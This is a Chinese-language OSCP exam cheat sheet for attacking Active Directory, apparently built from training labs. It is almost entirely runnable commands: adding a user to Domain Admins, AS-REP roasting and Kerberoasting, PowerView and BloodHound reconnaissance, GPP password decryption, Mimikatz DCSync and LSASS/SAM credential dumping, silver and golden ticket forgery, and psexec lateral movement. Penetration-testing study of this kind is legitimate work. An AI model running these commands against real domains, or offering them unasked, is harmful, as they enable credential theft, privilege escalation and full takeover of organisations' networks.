活动目录(域控)
OSCP 的 AD(域控)部分通常不会深入考察复杂的攻击链或高阶域渗透技巧,更偏向检验考生是否掌握 可落地的基础能力。整体侧重点主要包括:基础认证与访问(如 Kerberos/NTLM 的常见使用场景)、基础枚举与权限识别、简单的 ACL/委派关系带来的访问控制问题、密码喷洒/弱口令验证、以及基于已获取凭据的横向移动与权限提升闭环。
域用户枚举
| Bash |
|---|
| net user /domain
net user alice Password1 /add /domain
net group /domain
net group "Domain Admins" alice /add /domain
|
LDAP 服务枚举
| Bash |
|---|
| ldapsearch -H ldap://monitored.htb -x -s base namingcontexts
ldapsearch -H ldap://monitored.htb -x -b "dc=monitored,dc=htb"
|
AS-Rep 攻击
| Bash |
|---|
| impacket-GetNPUsers active.htb/SVC_TGS:GPPstillStandingStrong2k18
# 也可以不使用密码,需要指定用户字典,可通过RID枚举用户名
GetNPUsers.py -no-pass -usersfile users.txt contoso.com/
# 目标本地获取 AS-Rep hash
.\Rubeus.exe asreproast /nowrap
|
kerberoasting 攻击
| Bash |
|---|
| # 注意:需要 kerberos 认证
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
# 目标本地获取 kerberoasting hash
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
|
PowerView 工具
| PowerShell |
|---|
| # 导入
.\PowerView.ps1
# 域信息
Get-NetDomain
Get-DomainSID
Get-DomainPolicy
# 域控
Get-NetDomainController
# 域用户
Get-NetUser
# 域计算机
Get-NetComputer
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
# 域组
Get-NetGroup
Get-NetGroup "Domain Admins"
Get-NetGroup "Sales Department" | select member
# 本地组
Get-NetLocalGroup -ComputerName dc01.oscp.com
# 共享
Invoke-ShareFinder -Verbose
Get-NetShare
Find-DomainShare
Find-DomainShare -CheckShareAccess
# GPP密码示例
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vypePfAN1zMFTiQDApgR92JE"
# GPO
Get-NetGPO
# 本地管理员枚举
Find-LocalAdminAccess -Verbose
Invoke-ProcessHunter
Invoke-EnumerateLocalAdmin -Verbose
# 会话
Get-NetSession
Get-NetRDPSession
Get-NetLoggedon
# 远程进程
Get-NetProcess
|
Bloodhound 工具
| Bash |
|---|
| # 安装 bloodhound
# 通过 docker 安装
# https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
# powershell 中全量收集 BloodHound 数据(输出 zip)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# 通过 exe 程序收集 BloodHound 数据(输出 zip)
SharpHound.exe -c All
|
Mimikatz 工具
| Bash |
|---|
| # DC sync
# 导出所有用户
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit
# 指定用户
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit
# 从 LSA 中提取凭证
mimikatz "lsadump::lsa /inject" exit
# 访问本地 SAM 数据库
mimikatz "lsadump::sam" exit
# 注册表提取
mimikatz "lsadump::secrets" exit
# 已登录用户的凭证
mimikatz "sekurlsa::logonpasswords" exit
# 从内存中提取 Kerberos 票证
mimikatz "sekurlsa::tickets /export" exit
|
银票伪造
| Bash |
|---|
| # 准备前提
# 域SID
whoami /user
# 目标SPN示例,可通过 PowerView.ps1 获取
. .\PowerView.ps1
Get-NetUser -SPN
HTTP/web04.corp.com:80
# mimikatz 伪造银票(目标系统本地)
# /rc4:服务账号的 NTLM Hash
mimikatz
kerberos::golden /sid:S-1-5-21-12312321-12323123-1234567899 /domain:oscp.com /ptt /target:web04.corp.com /service:http /rc4:111111111111119580484ca09 /user:jeffadmin
# impacket 伪造银票(kali)
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain oscp.com \
-spn MSSQL/mssql.oscp.com \
-user-id 500 Administrator
# 将获取的票据添加环境变量,进而执行后续操作
export KRB5CCNAME=$PWD/administrator.ccache
# 查看票据
klist
|
金票伪造
| Bash |
|---|
| # 获取 krbtgt 用户 hash
mimikatz
privilege::debug
lsadump::lsa /patch
# mimikatz 制作金票(在目标系统本地)
# 清除旧票据
kerberos::purge
# 执行制作
mimikatz
kerberos::golden /user:FakeAdmin /domain:oscp.com \
/sid:S-1-5-21-634716346-3108032190-2057695417 \
/krbtgt:53456cfa6981cff6455b3f515f04bd46 \
/id:500
# 使用票据(开启高权限shell)
misc::cmd
# 横向移动示例
PsExec.exe \\dc1 cmd.exe
# impacket 制作金票(kali)
impacket-ticketer -nthash '170710980002a95bc62d176f680a5b40' -domain-sid 'S-1-5-21-4078382237-1492182817-2568127209' -domain 'sequel.htb' -user-id 500 -groups 512 administrator
# 将获取的票据添加环境变量,进而执行后续操作
export KRB5CCNAME=$PWD/administrator.ccache
# 利用 psexec 获取 system 权限
impacket-psexec -dc-ip 10.10.11.202 dc.sequel.htb -no-pass -k
|